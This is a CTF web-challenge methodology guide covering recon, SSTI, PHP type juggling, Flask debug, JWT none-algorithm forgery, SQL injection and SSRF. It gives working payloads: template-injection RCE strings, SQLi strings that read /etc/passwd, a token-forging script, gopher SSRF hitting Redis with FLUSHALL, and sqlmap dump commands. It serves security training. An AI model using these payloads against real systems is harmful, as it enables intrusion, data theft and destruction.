CTF Web Challenge Methodology: Recon, Source Review, and Exploitation Chains
CTF web challenges are a playground for offensive web security techniques. Unlike real-world bug bounty, CTFs are intentionally vulnerable and designed to be exploited — but they still require a systematic approach. This guide covers the methodology and the most common vulnerability patterns you'll encounter.
Initial Reconnaissance
CTF Web Attack Timeline
-
1
Initial Recon
View source, check robots.txt, sitemap.xml, .git/, comments, JS files
-
2
Technology Fingerprinting
Identify frameworks (Wappalyzer), check headers, error pages for stack traces
-
3
Input Fuzzing
Test all inputs for SQLi, XSS, SSTI, path traversal, command injection
-
4
Logic Analysis
Look for hidden functionality, parameter manipulation, cookie tampering, JWT issues
-
5
Exploit and Flag
Chain vulnerabilities, exploit, retrieve flag from /flag.txt, env, database, or admin panel
CTF Web Challenge Decision Flow
flowchart TD
Start["CTF Web Challenge"] --> Recon["View source
robots.txt, .git/, JS files"]
Recon --> Tech["Tech fingerprint
error pages, headers"]
Tech --> Fuzz["Fuzz inputs: SQLi, XSS, SSTI
path traversal, IDOR"]
Fuzz --> Found{Vulnerability found?}
Found -->|"SQLi"| SQLiExploit["sqlmap / manual
dump DB for flag"]
Found -->|"SSTI"| SSTIExploit["RCE via template
cat /flag.txt"]
Found -->|"XSS"| XSSExploit["Steal admin cookie
access admin panel"]
Found -->|"JWT"| JWTExploit["none algo / weak secret
become admin user"]
SQLiExploit --> Flag["FLAG obtained!"]
SSTIExploit --> Flag
XSSExploit --> Flag
JWTExploit --> Flag
Before throwing exploits, understand what you're dealing with. Spend 5-10 minutes on recon:
# 1. View page source (Ctrl+U) — look for:
# - HTML comments with hints or credentials
# - JavaScript files referenced
# - Framework-specific fingerprints (Django, Flask, Laravel)
# 2. Check robots.txt
curl http://target.ctf/robots.txt
# 3. Check common files
curl http://target.ctf/.git/HEAD # Exposed git repo
curl http://target.ctf/.env # Environment variables
curl http://target.ctf/phpinfo.php # PHP configuration
curl http://target.ctf/admin
curl http://target.ctf/backup.zip
# 4. Inspect cookies in DevTools (Application > Cookies)
# Look for: Base64 encoded values, JWT tokens, serialized objects
# 5. Check all JavaScript files for API endpoints, tokens, logic
# Browser: DevTools > Sources, or:
curl http://target.ctf/static/app.js | js-beautify | grep -i "api\|endpoint\|secret\|key"
# 6. Fuzz for hidden endpoints
ffuf -u http://target.ctf/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt
Server-Side Template Injection (SSTI)
SSTI occurs when user input is rendered inside a template engine. It's common in CTF challenges and can lead to RCE:
# Detection: inject math expressions that templates evaluate
{{7*7}} # Jinja2, Twig (should render "49")
${7*7} # FreeMarker, some others
<%= 7*7 %> # ERB (Ruby)
#{7*7} # Thymeleaf
{{7*'7'}} # Jinja2 returns "7777777" (string multiplication)
# Jinja2 (Flask/Django) RCE:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# More reliable Jinja2 RCE (bypasses some filters):
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Twig (PHP) RCE:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# FreeMarker (Java) RCE:
${"freemarker.template.utility.Execute"?new()("id")}
PHP Type Juggling
PHP's loose comparison operator == performs type coercion, leading to surprising authentication bypasses:
# MD5 "magic hashes" — strings whose MD5 starts with "0e" followed by digits
# PHP treats 0e... as scientific notation (0 * 10^n = 0)
# So: md5($input) == "0" evaluates true for magic hashes!
# Magic hash strings:
# "240610708" -> md5 = 0e462097431906509019562988736854
# "QNKCDZO" -> md5 = 0e830400451993494058024219903391
# "aabg7XSs" -> md5 = 0e087386482136013740957780965295
# If login checks: md5($password) == $stored_hash
# And stored hash is "0e830400451993494058024219903391"
# Then password "QNKCDZO" will match!
# Array bypass for strict filtering
# In PHP: md5(array()) = NULL, NULL == NULL = true
# POST: password[]=anything (sends as array)
curl -d 'password[]=anything' http://target.ctf/login
# Type juggling with strcmp
# strcmp(array(), "password") returns NULL in PHP
# NULL == 0 is true
# POST: password[]=anything
Python Flask Debug Mode
Flask's debug mode exposes an interactive debugger at /console. If it's unprotected, it's instant RCE:
# Check if debug mode is enabled
# Visit any non-existent URL — you'll see the Werkzeug debugger
# Or: GET /console
# The console is PIN-protected — but the PIN can be calculated if you can read:
# /proc/self/cgroup (for machine-id or Docker container ID)
# /etc/machine-id
# /proc/net/arp (for MAC address)
# Python + Werkzeug source code for the PIN generation algorithm
# If PIN bypass works or debug is open, RCE via console:
import os; os.popen('id').read()
JWT None Algorithm Bypass
Some JWT libraries accept "none" as the signing algorithm, allowing you to forge tokens without a secret:
# Original JWT: header.payload.signature
# Decode header: {"alg":"HS256","typ":"JWT"}
# Decode payload: {"user":"guest","role":"user"}
# Create a forged token:
# 1. Change alg to "none"
import base64, json
header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip("=")
payload = base64.b64encode(json.dumps({"user":"admin","role":"admin"}).encode()).decode().rstrip("=")
# Token with empty signature:
forged_token = f"{header}.{payload}."
# Or use jwt_tool:
python3 jwt_tool.py <original_token> -X a # none algorithm attack
python3 jwt_tool.py <original_token> -X s # HMAC secret brute-force
python3 jwt_tool.py <original_token> -C -d wordlist.txt # crack secret
SQL Injection in CTF Challenges
CTF SQL injection is often simpler than real-world — less WAF evasion needed, more focused on the technique:
# UNION-based (need to know column count)
' ORDER BY 5-- - # find column count
' UNION SELECT null,null,null,null,null-- -
# Get flag from common table names
' UNION SELECT flag,null,null FROM flags-- -
' UNION SELECT secret,null,null FROM secret_table-- -
# If output is filtered/not visible, use blind:
# Boolean-based
' AND (SELECT SUBSTRING(flag,1,1) FROM flags)='f'-- -
# Time-based blind
' AND IF((SELECT SUBSTRING(flag,1,1) FROM flags)='p', SLEEP(3), 0)-- -
# File read (MySQL, if FILE privilege exists)
' UNION SELECT LOAD_FILE('/etc/passwd'),null-- -
' UNION SELECT LOAD_FILE('/flag'),null-- -
# Automate with sqlmap
sqlmap -u "http://target.ctf/item?id=1" --dbs
sqlmap -u "http://target.ctf/item?id=1" -D ctf -T flags --dump
SSRF in CTF Challenges
# Classic SSRF — fetch internal services
url=http://localhost:8080/admin
url=http://169.254.169.254/latest/meta-data/ # AWS metadata (cloud challenges)
# SSRF filter bypass techniques
url=http://127.0.0.1 # localhost
url=http://[::1] # IPv6 localhost
url=http://0.0.0.0 # some parsers resolve to localhost
url=http://0177.0.0.1 # octal representation
url=http://2130706433 # decimal IP for 127.0.0.1
# Gopher protocol for SSRF to non-HTTP services
url=gopher://127.0.0.1:6379/_FLUSHALL # Redis
url=gopher://127.0.0.1:25/EHLO... # SMTP
Chaining Vulnerabilities for Flags
The best CTF solves often chain 2-3 bugs together. Common chains:
- XSS → CSRF — Steal admin's CSRF token via XSS, then perform admin action
- SSRF → RCE — Use SSRF to hit an internal service (Redis, Memcached) and inject a reverse shell command
- LFI → RCE — Read PHP session files via LFI, inject PHP code into logs, then include log file for RCE
- SQLi → File Write → RCE — Use SQLi with OUTFILE to write a PHP webshell
- SSTI → Container Escape — Get RCE via SSTI, then escape the Docker container via mounted socket
Use the Mobile Security Generator for mobile CTF challenges, or the Active Directory Generator for Windows/AD CTF boxes. For SQL injection payloads and filter bypasses, see the SQL Injection Generator.
CTF Web Challenge Checklist
- View source, check robots.txt, .git, .env, backup files
- Inspect all cookies — JWT? Base64? Serialized?
- Try SSTI detection in all input fields and URL parameters
- Check for SQL injection with single quote and boolean tests
- Test file upload endpoints — bypass extension filters, upload webshell
- Look for IDOR in numeric IDs — change id=1 to id=0, id=-1, id=100
- Test authentication for type juggling, JWT issues, default credentials
- Check for SSRF in URL parameters or image/document import features
- Read all JavaScript for hidden endpoints, hardcoded tokens, business logic
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides